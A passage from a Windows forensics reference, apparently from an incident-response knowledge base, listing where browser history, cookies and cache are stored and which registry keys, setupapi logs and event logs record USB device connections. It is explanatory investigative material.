| <p><code>NTUSER</code><br>-<br><code>TypedURLs</code></p>           | Web browsers usage | <p><code>URL</code> entered (typed, pasted, or auto-completed) in the <code>Internet Explorer (IE)</code> web browser search bar.<br><br>Web searches do not generate entries, only typing of an <code>URL</code> will.<br><br>Entries are added / updated in near real-time.</p>                                                                                   | <p>The <code>URL</code> are stored as <code>url1</code> to <code>url\[N]</code> in inversed chronological order.<br><br>The last write timestamp of the key is thus the timestamp of visit of the most recently visited <code>URL</code>.</p> | <p>File: <code>%SystemDrive%:\Users\&#x3C;USERNAME>\NTUSER.dat</code><br>Registry key: <code>HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\TypedURLs</code></p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |                                                                                                                                                           |                                                                                                          |                                                                                                                |                                                                                                         |                                                                                                            |                                   |                                                                                             |
| `Microsoft Internet Explorer`                                       | Web browsers usage | <p><code>Microsoft Internet Explorer</code> artefacts.<br><br>For more information: <a href="/pages/tVthKl84IGOh2MyfNAC2">Browsers forensics note</a>.</p>                                                                                                                                                                                                          | -                                                                                                                                                                                                                                             | <p>History, downloads, cache, and cookies metadata in a <code>ESE</code> database:<br><code>%LocalAppData%\Microsoft\Windows\WebCache\WebCacheV01.dat</code><br>> History: <code>History</code> table<br>> Downloads: <code>iedownload</code> table.<br>> Cache: <code>content</code> table<br>> Cookies metadata: <code>Cookies</code> table.<br><br>Local files access, not necessarily through the webbrowser, may also appear in the <code>WebCacheV01.dat</code> database with the <code>file</code> <code>URI</code> scheme (such as <code>file:///\<DRIVE\_LETTER>:/folder/file</code>).<br><br>Cookies:<br><code>%AppData%\Microsoft\Windows\Cookies</code><br><br>Sessions:<br><code>%LocalAppData%\Microsoft\Internet Explorer\Recovery\*.dat</code></p> | [`NirSoft's BrowsingHistoryView`](https://www.nirsoft.net/utils/browsing_history_view.html)                                                               |                                                                                                          |                                                                                                                |                                                                                                         |                                                                                                            |                                   |                                                                                             |
| <p><code>Microsoft Edge</code><br>(Legacy)</p>                      | Web browsers usage | <p><code>Microsoft Edge</code> (legacy version) artefacts.<br><br>For more information: <a href="/pages/tVthKl84IGOh2MyfNAC2">Browsers forensics note</a>.</p>                                                                                                                                                                                                      | -                                                                                                                                                                                                                                             | <p>User profile(s):<br><code>%LocalAppData%\Packages\Microsoft.MicrosoftEdge\_XXX\AC</code><br><br>History, downloads, cache, and cookies (file shared with <code>Microsoft Internet Explorer</code>):<br><code>%LocalAppData%\Microsoft\Windows\WebCache\WebCacheV01.dat</code><br><br>Cache:<br><code>%LocalAppData%\Packages\Microsoft.MicrosoftEdge\_XXX\AC#!XXX\MicrosoftEdge\Cache</code><br><br>Sessions:<br><code>%LocalAppData%\Packages\Microsoft.MicrosoftEdge\_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active</code><br><br>Settings:<br><code>%LocalAppData%\Packages\Microsoft.MicrosoftEdge\_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb</code></p>                                                         | [`NirSoft's BrowsingHistoryView`](https://www.nirsoft.net/utils/browsing_history_view.html)                                                               |                                                                                                          |                                                                                                                |                                                                                                         |                                                                                                            |                                   |                                                                                             |
| <p><code>Microsoft Edge</code><br>(<code>Chronium</code>-based)</p> | Web browsers usage | <p><code>Microsoft Edge</code> (<code>Chronium</code>-based) artefacts.<br><br>Since Edge version <code>v79</code> (January 2020), <code>Microsoft Edge</code> uses a <code>Chronium</code> backend and shares similar artefacts to <code>Google Chrome</code>.<br><br>For more information: <a href="/pages/tVthKl84IGOh2MyfNAC2">Browsers forensics note</a>.</p> | -                                                                                                                                                                                                                                             | <p>User profile(s):<br><code>%LocalAppData%\Microsoft\Edge\User Data\&#x3C;Default                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | Profile X>\*</code><br><em>With <code>X</code> ranging from one to n.</em><br><br>History:<br><code>%LocalAppData%\Microsoft\Edge\User Data\&#x3C;Default | Profile X>\History</code><br><br>Cookies:<br><code>%LocalAppData%\Microsoft\Edge\User Data\&#x3C;Default | Profile X>\Network\Cookies</code><br><br>Cache:<br><code>%LocalAppData%\Microsoft\Edge\User Data\&#x3C;Default | Profile X>\Cache</code><br><br>Sessions:<br><code>%LocalAppData%\Microsoft\Edge\User Data\&#x3C;Default | Profile X>\Sessions</code><br><br>Settings:<br><code>%LocalAppData%\Microsoft\Edge\User Data\&#x3C;Default | Profile X>\Preferences</code></p> | [`NirSoft's BrowsingHistoryView`](https://www.nirsoft.net/utils/browsing_history_view.html) |
| `Google Chrome`                                                     | Web browsers usage | <p><code>Google Chrome</code> artefacts.<br><br>For more information: <a href="/pages/tVthKl84IGOh2MyfNAC2">Browsers forensics note</a>.</p>                                                                                                                                                                                                                        | -                                                                                                                                                                                                                                             | <p>User profile(s):<br><code>%LocalAppData%\Google\Chrome\User Data\&#x3C;Default                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | Profile X>\*</code><br><em>With <code>X</code> ranging from one to n.</em><br><br>History:<br><code>%LocalAppData%\Google\Chrome\User Data\&#x3C;Default  | Profile X>\History</code><br><br>Cookies:<br><code>%LocalAppData%\Google\Chrome\User Data\&#x3C;Default  | Profile X>\Network\Cookies</code><br><br>Cache:<br><code>%LocalAppData%\Google\Chrome\User Data\&#x3C;Default  | Profile X>\Cache</code><br><br>Sessions:<br><code>%LocalAppData%\Google\Chrome\User Data\&#x3C;Default  | Profile X>\Sessions</code><br><br>Settings:<br><code>%LocalAppData%\Google\Chrome\User Data\&#x3C;Default  | Profile X>\Preferences</code></p> | [`NirSoft's BrowsingHistoryView`](https://www.nirsoft.net/utils/browsing_history_view.html) |
| `Mozilla Firefox`                                                   | Web browsers usage | <p><code>Mozilla Firefox</code> artefacts.<br><br>For more information: <a href="/pages/tVthKl84IGOh2MyfNAC2">Browsers forensics note</a>.</p>                                                                                                                                                                                                                      | -                                                                                                                                                                                                                                             | <p>User profile(s):<br><code>%AppData%\Mozilla\Firefox\Profiles\&#x3C;ID>.default-release\*</code><br><br>History, downloads, and bookmarks in a <code>SQLite</code> database:<br><code>%AppData%\Mozilla\Firefox\Profiles\&#x3C;ID>.default-release\places.sqlite</code><br><br>Cookies in a <code>SQLite</code> database:<br><code>%AppData%\Mozilla\Firefox\Profiles\&#x3C;ID>.default-release\cookies.sqlite</code><br><br>Cache:<br><code>%LocalAppData%\Mozilla\Firefox\Profiles\&#x3C;ID>.default-release\cache2\*</code><br><br>Sessions:<br><code>%AppData%\Mozilla\Firefox\Profiles\&#x3C;ID>.default-release\sessionstorebackups\*</code><br><br>Settings:<br><code>%AppData%\Mozilla\Firefox\Profiles\&#x3C;ID>.default-release\prefs.js</code></p>    | [`NirSoft's BrowsingHistoryView`](https://www.nirsoft.net/utils/browsing_history_view.html)                                                               |                                                                                                          |                                                                                                                |                                                                                                         |                                                                                                            |                                   |                                                                                             |

### Devices and USB activity

**Windows devices terminology:**

* The `vendor ID` identifies a specific vendor, with a mapping available on [devicehunt.com](https://devicehunt.com/all-usb-vendors). The `product ID (PID)` identifies a product from that vendor.
* The `device ID` or `hardware ID` is "a vendor-defined identification string that Windows uses to match a device to a driver package". The identifier references the vendor and product names as well as the revision version. Example for a `DataTraveler_3` USB key by Kingston: `Ven_Kingston&Prod_DataTraveler_3.0&Rev_PMAP`.
* The `instance ID` is "a device identification string that distinguishes a device from other devices of the same type on a computer". It contains the device `serial number`, if supplied, and otherwise "some kind of location information". Example of an `instance ID` for a device that does not supply a serial number: `5&2eab04ab&0&1`.
* The `device instance ID` is "a system-supplied device identification string that uniquely identifies a device in the system". It is notably composed of the device's `device ID` and `instance ID`.
* The `container ID` is "a system-supplied device identification string that uniquely groups the functional devices associated with a single-function or multifunction device installed in the computer". Starting with Windows 7, the `Plug and Play (PnP) manager` uses the `container ID` to group one or more device nodes (`devnodes`) that originated from a particular physical device.
* The `device interface class` represents the type of the device (storage devices, USB devices, Bluetooth devices, etc.). Each `device interface class` is associated with a unique `GUID`, defined by Microsoft. The list of `GUIDs` by category of device can be found [in the Microsoft documentation](https://learn.microsoft.com/en-us/previous-versions//ff553412\(v=vs.85\)).
  * External physical storage `GUID`: `{53f56307-b6bf-11d0-94f2-00a0c91efb8b}`.
  * Logical volumes `GUID`: `{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}`.

**Devices and USB activity forensics artefacts**

*The information below originates from tests on `Windows 10 Pro - 19045.2965` and `Windows 11 Pro - build 22621.1702` systems.*

| Name                                                                                                                          | Type                     | Description                                                                                                                                                                                                                                             | Information / interpretation                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | Location                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | Tool(s)                                                                                                                                                                             |   |
| ----------------------------------------------------------------------------------------------------------------------------- | ------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | - |
| <p><code>HKLM\SYSTEM</code><br>-<br><code>Enum\USB</code></p>                                                                 | Devices and USB activity | Contains system-wide information about the currently or previously connected USB devices.                                                                                                                                                               | <p>Each USB devices is associated with a dedicated subkey under the <code>Enum\USB</code> key. This subkey is named after the device <code>vendor ID (VID)</code> and <code>product ID (PID)</code> of the device. Example: <code>VID\_1B1C\&PID\_4242</code>.<br><br>Underneath the <code>VID</code> / <code>PID</code> subkey, another subkey is named after the <code>instance ID</code> of the device (referencing either the device's <code>serial number</code> or location information). This subkey references in turn information and parameters for the USB device as values and under the <code>Properties</code> and <code>Device Parameters</code> subkeys, notably:<br><br>- The <code>ClassGUID</code> key value references the <code>device interface class</code> <code>GUID</code> of the device.<br><br>- The <code>ContainerID</code> key value references the <code>container ID</code> of the device.<br><br>The <code>Properties{83da6326-97a6-4088-9453-a1923f573b29}</code> subkey notably references three child subkeys of interest, each containing a timestamp value:<br>> <code>0064</code> (starting from Windows 7): timestamp of when the device was first plugged-in / installed.<br>> <code>0066</code> (starting from Windows 8): timestamp of when the device was last connected.<br>> <code>0067</code> (starting from Windows 8): timestamp of when the device was last removed.<br><br><strong>This key can thus be used to:</strong><br><br><strong>- Identity the <code>vendor ID (VID)</code> and <code>product ID (PID)</code> of an USB device from its <code>serial number</code> or location information (and vice versa).</strong><br><br><strong>- Determine when the device was first and last plugged-in and last unplugged for Windows 7 / 8+.</strong></p>                                                                                                                                                                                                                                            | <p>File: <code>%SystemRoot%\System32\config\SYSTEM</code><br><br>Registry key:<br><code>HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Enum\USB\</code></p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |                                                                                                                                                                                     |   |
| <p><code>HKLM\SYSTEM</code><br>-<br><code>Enum\USBSTOR</code></p>                                                             | Devices and USB activity | Contains system-wide information about the currently or previously connected USB devices **that are related to storage**.                                                                                                                               | <p>Each USB devices is associated with a dedicated subkey under the <code>Enum\USBSTOR</code> key. This subkey is named after the device <code>device ID</code> or <code>hardware ID</code> of the device, which references the vendor and product names. Example: <code>Disk\&Ven\_SanDisk\&Prod\_Extreme\&Rev\_0001</code>.<br><br>Underneath the <code>device ID</code> subkey, another subkey is named after the <code>instance ID</code> of the device (referencing either the device's <code>serial number</code> or location information). This subkey in turn references:<br><br>- The same information as the <code>Enum\USB</code> key.<br><br>- A <code>volume id</code> for one of the device volume in the <code>DiskId</code> key value under the <code>Device Parameters\Partmgr</code>.<br><br><strong>This key can thus be used to:</strong><br><br><strong>- Identity the <code>device id</code> (vendor and product names) of an USB device from its <code>serial number</code> or location information (and vice versa).</strong><br><br><strong>- Determine when the device was first and last plugged-in and last unplugged for Windows 7 / 8+.</strong><br><br><strong>- Retrieve a <code>volume id</code> for the (or one of the) volume(s) of the device.</strong></p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | <p>File: <code>%SystemRoot%\System32\config\SYSTEM</code><br><br>Registry key:<br><code>HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR\</code></p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                |                                                                                                                                                                                     |   |
| <p><code>HKLM\SYSTEM</code><br>-<br><code>Enum\SWD\WPDBUSENUM</code></p>                                                      | Devices and USB activity | Contains system-wide information about the currently or previously .                                                                                                                                                                                    | <p>Each devices is associated with a dedicated subkey under the <code>WPDBUSENUM</code> key.<br><br>This key is named with a string containing either:<br><br>- The device's <code>device instance ID</code> (that includes the device's vendor and product names and <code>serial number</code>) and <code>device interface class</code> <code>GUID</code>. Example: <code>SWD#WPDBUSENUM#\_??\_USBSTOR#DISK\&VEN\_SAMSUNG\&PROD\_TYPE-C\&REV\_1100#0376022080001660&0#{53F56307-B6BF-11D0-94F2-00A0C91EFB8B}</code>.<br><br>- The <code>volume id</code>. Example: <code>SWD#WPDBUSENUM#{44B06C95-F0BA-11ED-9802-6C9466A63B90}#000000000C900000</code>.<br><br>This subkey references:<br><br>- The same information as the <code>Enum\USB</code> key.<br><br>- A "friendly name" or display name of the (or one of the) volume associated with the device in the <code>FriendlyName</code> key value.<br><br><strong>This key can thus be used to:</strong><br><br><strong>- Identity the <code>device id</code> (vendor and product names) of an USB device from its <code>serial number</code> or location information (and vice versa).</strong><br><br><strong>- Determine when the device was first and last plugged-in and last unplugged for Windows 7 / 8+.</strong><br><br><strong>- Retrieve a friendly name of the (or one of the) volume associated with the device.</strong></p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | <p>File: <code>%SystemRoot%\System32\config\SYSTEM</code><br><br>Registry key:<br><code>HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Enum\SWD\WPDBUSENUM</code></p>                                                                                                                                                                                                                                                                                                                                                                                                                                                          |                                                                                                                                                                                     |   |
| <p><code>HKLM\SYSTEM</code><br>-<br><code>MountedDevices</code></p>                                                           | Devices and USB activity | <p>The persistent database of the <code>Mount manager</code> (component responsible for managing volume names).<br><br>Contains system-wide information about the currently or previously mounted drives (such as the system drive or USB devices).</p> | <p>Each devices is associated with a separate binary value, composed of:<br><br>- The device <code>volume GUID</code> (as the key's value name).<br><br>- The <code>device / hardware ID</code>, <code>instance ID</code>, and <code>device interface class</code> <code>GUID</code> in a <code>#</code> separated string (as the key's value data).<br>> The <code>device ID</code> / <code>hardware ID</code> references the vendor and product names.<br>> The <code>instance ID</code> contains the device's <code>serial number</code> or location information.<br>> The <code>device interface class</code> represents the type of the device and each <code>class</code> is associated with a unique <code>GUID</code>.<br><br>Full example value for an USB key: <code>\_??\_USBSTOR#Disk\&Ven\_Kingston\&Prod\_DataTraveler\_3.0\&Rev\_PMAP#60A44C42568CB041B98902A4&0#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}</code><br><br><strong>This key can thus be used to identity the <code>volume GUID</code> or the drive letter associated with the device from its <code>serial number</code> or location information (and vice versa).</strong></p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | <p>File: <code>%SystemRoot%\System32\config\SYSTEM</code><br><br>Registry key:<br><code>HKEY\_LOCAL\_MACHINE\SYSTEM\MountedDevices</code></p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |                                                                                                                                                                                     |   |
| <p><code>HKLM\SYSTEM</code><br>-<br><code>DeviceClasses</code><br><br>Introduced in Windows Vista.</p>                        | Devices and USB activity | Contains system-wide information about the currently or previously connected plug and play devices (such as storage devices, volumes, network devices, Bluetooth devices, etc.).                                                                        | <p>Contains subkeys for each <code>device classes</code> (physical disk, volume, USB devices, Bluetooth devices, etc.). The subkeys are named after the <a href="https://learn.microsoft.com/en-us/previous-versions//ff553412(v=vs.85)"><code>device classes</code> <code>GUID</code></a>.<br><br>Under each <code>GUID</code> subkeys, the devices of the given type are referenced as their own subkey, whose name is a <code>#</code> separated string composed of the <code>device / hardware ID</code>, <code>instance ID</code>, and <code>device interface class</code> <code>GUID</code> of the device.<br><br>An external physical storage would be referenced under the <code>{53f56307-b6bf-11d0-94f2-00a0c91efb8b}</code> <code>GUID</code> subkey. The logical volumes on the device would be referenced in the <code>{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}</code> <code>GUID</code> subkey.<br><br>Example of a <code>{53f56307-b6bf-11d0-94f2-00a0c91efb8b}</code> subkey: <code>##?#SCSI#Disk\&Ven\_Samsung\&Prod\_SSD\_870\_EVO\_2TB#4\&cd4f6d&0&040000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}</code>.<br>Example of a <code>{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}</code> subkey: <code>##?#STORAGE#Volume#{d446d066-ade9-11ed-8679-eae9fe3c14cf}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}</code>.<br><br><strong>This key can thus be used to identity the <code>device id</code> (vendor and product names) of an USB device from its <code>serial number</code> or location information (and vice versa).</strong><br><br>The <strong>last written timestamp of a device subkey</strong> can be an indicator of <strong>when the device was last plugged on the system or the first time the device was plugged following a reboot</strong>. However, <strong>the subkey does not appear to be reliably written to</strong> on recent versions of the Windows operating system and thus <strong>the timestamp should not be considered by itself as a reliable indicator of the device's last activity</strong>.</p> | <p>File: <code>%SystemRoot%\System32\config\SYSTEM</code><br><br>Registry key:<br><code>HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\DeviceClasses</code></p>                                                                                                                                                                                                                                                                                                                                                                                                                                                        |                                                                                                                                                                                     |   |
| <p><code>HKLM\SOFTWARE</code><br>-<br><code>Windows Portable Devices</code></p>                                               | Devices and USB activity | Contains information on currently or previously attached media and storage devices, notably the device volume(s)'s "friendly name" or display name.                                                                                                     | <p>Each devices is associated with a dedicated subkey under the <code>Windows Portable Devices\Devices</code> key.<br><br>This key is named with a string containing either:<br><br>- The device's <code>device instance ID</code> (that includes the device's vendor and product names and <code>serial number</code>) and <code>device interface class</code> <code>GUID</code>. Example: <code>SWD#WPDBUSENUM#\_??\_USBSTOR#DISK\&VEN\_SAMSUNG\&PROD\_TYPE-C\&REV\_1100#0376022080001660&0#{53F56307-B6BF-11D0-94F2-00A0C91EFB8B}</code>.<br><br>- The <code>volume id</code>. Example: <code>SWD#WPDBUSENUM#{44B06C95-F0BA-11ED-9802-6C9466A63B90}#000000000C900000</code>.<br><br>The <code>FriendlyName</code> key value represents the "friendly name" or display name of the (or one of the) volume associated with the device.<br><br><strong>This key can thus be used to identity a volume friendly name from (a) a device <code>serial number</code> / location information or (b) a <code>volume id</code> (and vice versa).</strong></p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | <p>File: <code>%SystemRoot%\System32\config\SOFTWARE</code><br><br>Registry key: <code>HKLM\SOFTWARE\Microsoft\Windows NT\Windows Portable Devices</code></p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |                                                                                                                                                                                     |   |
| <p><code>HKLM\SOFTWARE</code><br>-<br><code>VolumeInfoCache</code></p>                                                        | Devices and USB activity | Contains information on currently or previously mounted volumes, notably a mapping between drive letters and the last associated volume(s)'s "friendly name" or display name.                                                                           | <p>Each previously referenced drive letter (<code>A:</code> to <code>Z:</code>, including <code>C:</code>) is associated with a dedicated subkey under the <code>VolumeInfoCache</code> key.<br><br>This subkey contains information about the volume last associated with the corresponding drive letter:<br>- The volume friendly name in the <code>VolumeLabel</code> value.<br>- The associated <a href="https://learn.microsoft.com/en-us/dotnet/api/system.io.drivetype">drive type</a> in the <code>DriveType</code> value. Both hard disks / SSDs and storage devices (such as USB keys) appear to be associated with the value <code>3</code> (on Windows 10).<br><br>The last written timestamp of the key is an indicator of when a volume was last associated with a given drive letter.<br><br><strong>This key can thus be used to:</strong><br><strong>- Identity a volume drive letter from a volume friendly name (and vice versa)</strong>, if the volume was the last one to be associated with the given letter.<br><strong>- Determine when a volume was last associated with a given drive letter.</strong></p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | <p>File: <code>%SystemRoot%\System32\config\SOFTWARE</code><br><br>Registry key: <code>HKLM\SOFTWARE\Microsoft\Windows Search\VolumeInfoCache</code></p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |                                                                                                                                                                                     |   |
| <p><code>HKLM\SOFTWARE</code><br>-<br><code>EMDMgmt</code><br><br>Only available if the system drive is not an SSD</p>        | Devices and USB activity | Related to the ReadyBoost feature.                                                                                                                                                                                                                      | <p>Each USB devices is associated with a dedicated subkey under the <code>EMDMgmt</code> key. This subkey is named after the device <code>device ID</code> or <code>hardware ID</code> of the device, which references the vendor and product names. Example: <code>Disk\&Ven\_SanDisk\&Prod\_Extreme\&Rev\_0001</code>.<br><br>The subkey contains:<br>- the device's <code>serial number</code><br>- The associtated volume <code>serial number</code><br>- Possibly the volume friendly name (if the mounted volume has a name).<br><br><a href="http://windowsir.blogspot.com/2013/04/plugin-emdmgmt.html">Example</a>:<br>Disk\&Ven\_Best\_Buy\&Prod\_Geek\_Squad\_U3\&Rev\_6.15<br>> LastWrite: Sun Jul 17 12:13:25 2011 Z<br>> SN: 0C90195032E36889&0<br>> Vol Name: TEST<br>> VSN: 6403-CD1C</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | <p>File: <code>%SystemRoot%\System32\config\SOFTWARE</code><br><br>Registry key: <code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\EMDMgmt</code></p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |                                                                                                                                                                                     |   |
| <p><code>NTUSER</code><br>-<br><code>MountPoints2</code></p>                                                                  | Devices and USB activity | Currently or previously mapped drives (such as the system drive, USB devices, or network shares) mounted by the associated user.                                                                                                                        | <p>Each drives is represented by a subkey, which is named as either the <code>volume GUID</code>, a letter, or, for network shares, using a specific nomenclature (<code>##\<IP                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | HOSTNAME>#\<SHARE\_NAME></code>).<br><br>For devices, the <code>volume GUID</code> can be used to retrieve more information on the device from the <code>HKLM\SYSTEM\MountedDevices</code> registry key, including the <code>device / hardware ID</code> (vendor and product name) and <code>instance ID</code> (with the <code>serial number</code> if existing).<br><br><strong>This key can be used to determine which user interacted with a given USB device. However entries are not reliably created, so the absence of an entry is not an indicator that the given user didn't interact with the device.</strong></p> | <p>File: <code>%SystemDrive%:\Users\&#x3C;USERNAME>\NTUSER.dat</code><br><br>Registry key:<br><code>HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2</code></p> |   |
| `setupapi` logs                                                                                                               | Devices and USB activity | <p>Plaintext log files that track installation of devices and drivers.<br><br>The logs are rotated and preserved, so historical data dating back to the system install should be available (if the logs were not deleted / tampered).</p>               | <p><strong>Device installation entries</strong> (generated when the device is plugged-in) <strong>contain various information, including the device:</strong><br><strong>- <code>serial number</code>.</strong><br><strong>- <code>Device id</code> (vendor and product names) or <code>vendor ID (VID)</code> + <code>product ID (PID)</code>.</strong><br><br>Extract of an entry for the first time an USB device was plugged-in:<br><em>>>> \[Device Install (Hardware initiated) - SWD\WPDBUSENUM\_??\_USBSTOR#Disk\&Ven\_USB\&Prod\_Flash\_Disk\&Rev\_1100#7\&d2713f&0#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}]</em><br><em>>>> Section start 2021/02/07 19:11:17.101</em><br><br>Device are sometimes "deleted" through the <code>cleanmgr.exe</code> utility:<br><em>>>> \[Delete Device - USB\VID\_090C\&PID\_2000\8&1DBBAC39&0&3]</em><br><em>>>> Section start 2023/03/16 16:55:26.426</em><br><em>cmd: "%SystemRoot%\Windows\system32\cleanmgr.exe" /autoclean /d C:</em><br><em><<< Section end 2023/03/16 16:55:26.473</em><br><br>The timestamps in the <code>setupapi</code> logs are in the local timezone of the system.<br><br><strong>The logs can be used to determine when a device was first plugged (in the local timezone of the system).</strong></p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | <p>Windows XP: <code>%SystemRoot%\setupapi.log</code><br><br>Starting from Windows 7:<br><code>%SystemRoot%\INF\setupapi.dev.log</code><br><code>%SystemRoot%\INF\setupapi.dev.\<YYYYMMDD-HMMSS>.log</code></p>                                                                                                                                                                                                                                                                                                                                                                                                               |                                                                                                                                                                                     |   |
| <p><code>EVTX</code><br>-<br><code>Microsoft-Windows-Storage-ClassPnP/Operational</code></p>                                  | Devices and USB activity | Provider: `Microsoft-Windows-StorDiag`.                                                                                                                                                                                                                 | <p>Event <code>507</code>: error events.<br>> Generated multiple times, for every connection, and sometimes safe removal and while the device is plugged-in. As the event is generated upon errors, it may however not be reliably logged.<br>Relevant information:<br>- Device's vendor and product names.<br>- Device <code>serial number</code> (which is however not the same as the one found in the registry and ofter shows up as <code>AA00000000000489</code> for different USB storage devices).<br>- Device number, which is an incremental number based on the number of devices plugged-in, for all devices, including the system drive (which would like be device number 1).<br>- Device's <code>DeviceGUID</code> which can be used for correlation with other events.<br><br>Other events, also generated upon errors and with similar information: <code>500</code>, <code>502</code>, <code>503</code>, <code>504</code>, <code>505</code>, <code>506</code>, and <code>510</code>.<br><br><strong>These events, especially <code>507</code>, can be used to:</strong><br><br><strong>- Determine when a device was plugged using the device vendor and product names or <code>serial number</code>.</strong><br><br><strong>- Retrieve (a version of) the device <code>serial number</code> (!= registry <code>serial number)</code> and its vendor and product names.</strong><br><br><strong>- Identify the device <code>DeviceGUID</code> for correlation with other events.</strong></p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | `Microsoft-Windows-Storage-ClassPnP%4Operational.evtx`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |                                                                                                                                                                                     |   |
| <p><code>EVTX</code><br>-<br><code>Microsoft-Windows-Kernel-PnP/Device Configuration</code></p>                               | Devices and USB activity | <p>Provider: <code>Microsoft-Windows-Kernel-PnP</code>.<br><br>Contains information for all plug and play devices, not limited to USB storage devices.</p>                                                                                              | <p>Event <code>400</code>: <code>Device \<DEVICE> was configured</code>.<br>Event <code>401</code>: <code>Device \<DEVICE> failed configuration</code>.<br>Event <code>410</code>: <code>Device \<DEVICE> was started</code>.<br>Event <code>411</code>: <code>Device \<DEVICE> had a problem starting</code>.<br>Event <code>430</code>: <code>Device \<DEVICE> requires further installation</code>.<br>> The events above appear to be generated when a device is first plugged-in to the system.<br><br>Event <code>420</code>: <code>Device \<DEVICE> was deleted</code>.<br><br>The <code>\<DEVICE></code> string is based on the event <code>DeviceInstanceId</code> field, which contains the device's <code>vendor ID (VID)</code>, <code>product ID (PID)</code> and (registry) <code>serial number</code> or location information.<br><br><strong>These events can be used to:</strong><br><br><strong>- Determine when a device was first plugged.</strong><br><br><strong>- Identity the <code>vendor ID (VID)</code> and <code>product ID (PID)</code> of the device from its <code>serial number</code> or location information (and vice versa).</strong></p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | `Microsoft-Windows-Kernel-PnP%4Configuration.evtx`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |                                                                                                                                                                                     |   |
| <p><code>EVTX</code><br>-<br><code>Microsoft-Windows-Kernel-PnP/Device Management</code><br><br>Introduced in Windows 11.</p> | Devices and USB activity | <p>Provider: <code>Microsoft-Windows-Kernel-PnP</code>.<br><br>Contains information for all plug and play devices, not limited to USB storage devices.</p>                                                                                              | <p>Event <code>1010</code>: <code>Device \<DEVICE> has been surprise removed as it is reported as missing on the bus</code>.<br><br>The event is reliably generated when a device is removed / unplugged without prior ejection. Additionally, subsequent immediate event(s) are generated for each of the device volume(s).<br><br>Relevant information:<br>- For USB storage device: <code>vendor ID (VID)</code>, <code>product ID (PID)</code>, (registry) <code>serial number</code> or location information. Example: <code>USB\VID\_18A5\&PID\_0302\1601000001586259</code>.<br>- For volumes: the <code>volume GUID</code> of the volume. Example: <code>STORAGE\Volume\&#x3C;GUID></code>.<br><br><strong>If a device has been removed without prior ejection, these events can be used to:</strong><br><br><strong>- Determine when a device was unplugged with out prior ejection, from the device (registry) <code>serial number</code> or location information.</strong><br><br><strong>- Identity the <code>vendor ID (VID)</code> and <code>product ID (PID)</code> of the device from its <code>serial number</code> or location information (and vice versa).</strong><br><br><strong>- Identify the <code>volumes GUID</code> associated with the device.</strong></p>                                                                                                                                                                                                                                                                                           